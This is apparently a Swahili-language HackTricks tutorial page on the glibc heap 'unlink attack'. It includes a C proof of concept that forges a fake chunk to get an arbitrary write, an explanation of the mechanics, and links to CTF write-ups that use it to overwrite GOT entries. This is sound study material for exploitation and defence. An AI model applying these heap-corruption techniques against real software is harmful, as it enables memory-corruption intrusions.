Unlink Attack
Last updated
Last updated
Jifunze na zoea AWS Hacking:Mafunzo ya HackTricks AWS Timu Nyekundu Mtaalam (ARTE) Jifunze na zoea GCP Hacking: Mafunzo ya HackTricks GCP Timu Nyekundu Mtaalam (GRTE)
Angalia mpango wa michango!
Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @hacktricks_live.
Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud github repos.
Wakati shambulio hili lilipogunduliwa, kwa kiasi kikubwa liliruhusu WWW (Andika Nini Wapi), hata hivyo, uchunguzi fulani uliongezwa ukifanya toleo jipya la shambulio kuwa la kuvutia zaidi na **ngumu zaidi na hakina maana.
```c #include #include #include #include
// Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work
struct chunk_structure { size_t prev_size; size_t size; struct chunk_structure *fd; struct chunk_structure *bk; char buf[10]; // padding };
int main() { unsigned long long *chunk1, *chunk2; struct chunk_structure *fake_chunk, *chunk2_hdr; char data[20];
// First grab two chunks (non fast) chunk1 = malloc(0x8000); chunk2 = malloc(0x8000); printf("Stack pointer to chunk1: %p\n", &chunk1); printf("Chunk1: %p\n", chunk1); printf("Chunk2: %p\n", chunk2);
// Assuming attacker has control over chunk1's contents // Overflow the heap, override chunk2's header
// First forge a fake chunk starting at chunk1 // Need to setup fd and bk pointers to pass the unlink security check fake_chunk = (struct chunk_structure *)chunk1; fake_chunk->size = 0x8000; fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
// Next modify the header of chunk2 to pass all security checks chunk2_hdr = (struct chunk_structure *)(chunk2 - 2); chunk2_hdr->prev_size = 0x8000; // chunk1's data region size chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked' // This results in chunk1 pointer pointing to chunk1 - 3 // i.e. chunk1[3] now contains chunk1 itself. // We then make chunk1 point to some victim's data free(chunk2); printf("Chunk1: %p\n", chunk1); printf("Chunk1[3]: %x\n", chunk1[3]);
chunk1[3] = (unsigned long long)data;
strcpy(data, "Victim's data");
// Overwrite victim's data using chunk1 chunk1[0] = 0x002164656b636168LL;
printf("%s\n", data);
return 0; }
</details>
* Shambulizi halifanyi kazi ikiwa tcaches zinatumika (baada ya 2.26)
### Lengo
Shambulizi hili linaruhusu **kubadilisha kipande cha kielekezi ili kielekee anwani 3 kabla yake**. Ikiwa eneo hili jipya (mazingira ya kielekezi kilichokuwa kimehifadhiwa) lina vitu vya kuvutia, kama alokesheni zingine zinazoweza kudhibitiwa / stack..., inawezekana kusoma/kuandika juu yao kusababisha madhara makubwa zaidi.
* Ikiwa kielekezi hiki kilikuwa kimehifadhiwa kwenye stack, kwa sababu sasa kinakielekeza kwenye anwani 3 kabla yake na mtumiaji anaweza kusoma na kukiweka, itawezekana kuvuja habari nyeti kutoka kwenye stack au hata kubadilisha anwani ya kurudi (labda) bila kugusa canary
* Katika mifano ya CTF, kielekezi hiki kimehifadhiwa katika safu ya kielekezi kwa alokesheni zingine, hivyo, kukiweka kielekezi 3 anwani kabla na kuweza kusoma na kuandika, inawezekana kufanya kielekezi kingine kielekee anwani zingine.\
Kwa kuwa mtumiaji anaweza pia kusoma/kuandika alokesheni zingine, anaweza kuvuja habari au kuandika anwani mpya katika maeneo ya kiholela (kama kwenye GOT).
### Mahitaji
* Udhibiti fulani katika kumbukumbu (k.m. stack) ili kuunda vikundi viwili vikitoa thamani kwa baadhi ya sifa.
* Kuvuja kwa stack ili kuweza kuweka kielekezi cha kipande bandia.
### Shambulizi
* Kuna vikundi viwili (kikundi1 na kikundi2)
* Mshambuliaji anadhibiti maudhui ya kikundi1 na vichwa vya kikundi2.
* Katika kikundi1 mshambuliaji anaunda muundo wa kipande bandia:
* Ili kuzidi kinga anahakikisha kuwa uga wa `ukubwa` ni sahihi ili kuepuka kosa: `ukubwa ulioharibika dhidi ya ukubwa uliopita wakati wa kufanya kazi`
* na uga za `fd` na `bk` za kipande bandia zinaelekeza kwenye eneo ambapo kielekezi cha kikundi1 kimehifadhiwa kwa kuzidi kwa -3 na -2 mtawalia hivyo `kielekezi_bandia->fd->bk` na `kielekezi_bandia->bk->fd` zinaelekeza kwenye nafasi kwenye kumbukumbu (stack) ambapo anwani halisi ya kikundi1 iliyohifadhiwa:
<figure><img src="../../.gitbook/assets/image (1245).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
* Vichwa vya kikundi2 vinabadilishwa kuonyesha kuwa kipande kilichopita hakijatumika na ukubwa ni ukubwa wa kipande bandia kilichomo.
* Wakati kikundi cha pili kinapofutwa basi kipande bandia hiki kinatenganishwa kufanyika:
* `kielekezi_bandia->fd->bk` = `kielekezi_bandia->bk`
* `kielekezi_bandia->bk->fd` = `kielekezi_bandia->fd`
* Awali ilifanywa kuwa `kielekezi_bandia->fd->bk` na `kielekezi_bandia->bk->fd` zinaelekeza kwenye eneo moja (eneo kwenye stack ambapo `kikundi1` kilihifadhiwa, hivyo ilikuwa orodha halali). Kwa kuwa **zote zinaelekeza kwenye eneo moja** ni ile ya mwisho (`kielekezi_bandia->bk->fd = kielekezi_bandia->fd`) itakayochukua **athari**.
* Hii ita**andika upya kielekezi cha kikundi1 kwenye stack kwenye anwani (au baits) zilizohifadhiwa 3 anwani kabla kwenye stack**.
* Kwa hivyo, ikiwa mshambuliaji angeweza kudhibiti tena maudhui ya kikundi1, ataweza **kuandika ndani ya stack** akiweza kwa uwezekano kubadilisha anwani ya kurudi akiruka canary na kubadilisha thamani na kielekezi cha mchanganyiko wa pembeni. Hata kubadilisha tena anwani ya kikundi1 iliyohifadhiwa kwenye stack kwenda eneo tofauti ambapo ikiwa mshambuliaji angeweza kudhibiti tena maudhui ya kikundi1 ataweza kuandika popote.
* Tafadhali elewa kuwa hili lilikuwa linawezekana kwa sababu **anwani zimehifadhiwa kwenye stack**. Hatari na unyonyaji inaweza kutegemea **anwani za kipande bandia zinahifadhiwa wapi**.
<figure><img src="../../.gitbook/assets/image (1246).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
## Marejeo
* [https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit)
* Ingawa itakuwa ajabu kupata shambulizi la unlink hata katika CTF hapa kuna baadhi ya maandishi ambapo shambulizi hili lilikuwa limeitwa:
* Mfano wa CTF: [https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html)
* Katika mfano huu, badala ya stack kuna safu ya anwani za malloc'ed. Shambulizi la unlink linatekelezwa ili kuweza kutenga kipande hapa, hivyo kuweza kudhibiti kielekezi cha safu ya anwani za malloc'ed. Kisha, kuna utendaji mwingine unaoruhusu kubadilisha maudhui ya vikundi katika anwani hizi, ambayo inaruhusu kuelekeza anwani kwenye GOT, kubadilisha anwani za kazi kupata uvujaji wa libc, na kisha kubadilisha atoi GOT na anwani ya kifaa cha moja.
* Mfano mwingine wa CTF: [https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html)
* Kama ilivyokuwa katika mfano uliopita, kuna safu ya anwani za alokesheni. Inawezekana kutekeleza shambulizi la unlink ili kufanya anwani ya alokesheni ya kwanza ielekee machache kabla ya kuanza safu na kisha kuandika alokesheni hii kwenye nafasi mpya. Kwa hivyo, inawezekana kuandika upya kielekezi cha alokesheni zingine ili kielekee GOT ya atoi, kuchapisha ili kupata uvujaji wa libc, na kisha kuandika atoi GOT na anwani ya kifaa cha moja.
* Mfano wa CTF na kazi za malloc na free za desturi ambazo zinatumia kasoro inayofanana sana na shambulizi la unlink: [https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html)
* Kuna kipeperushi kinachoruhusu kudhibiti FD na BK pointers za malloc ya desturi ambayo itakuwa huru (desturi). Zaidi ya hayo, heap ina biti ya exec, hivyo inawezekana kuvuja anwani ya heap na kuelekeza kazi kutoka kwa GOT kwenye kipande cha heap na shellcode kutekeleza.
<div data-gb-custom-block data-tag="hint" data-style='success'>
Jifunze & zoezi la Udukuzi wa AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Jifunze & zoezi la Udukuzi wa GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>unga mkono HackTricks</summary>
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **fuata** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
</div>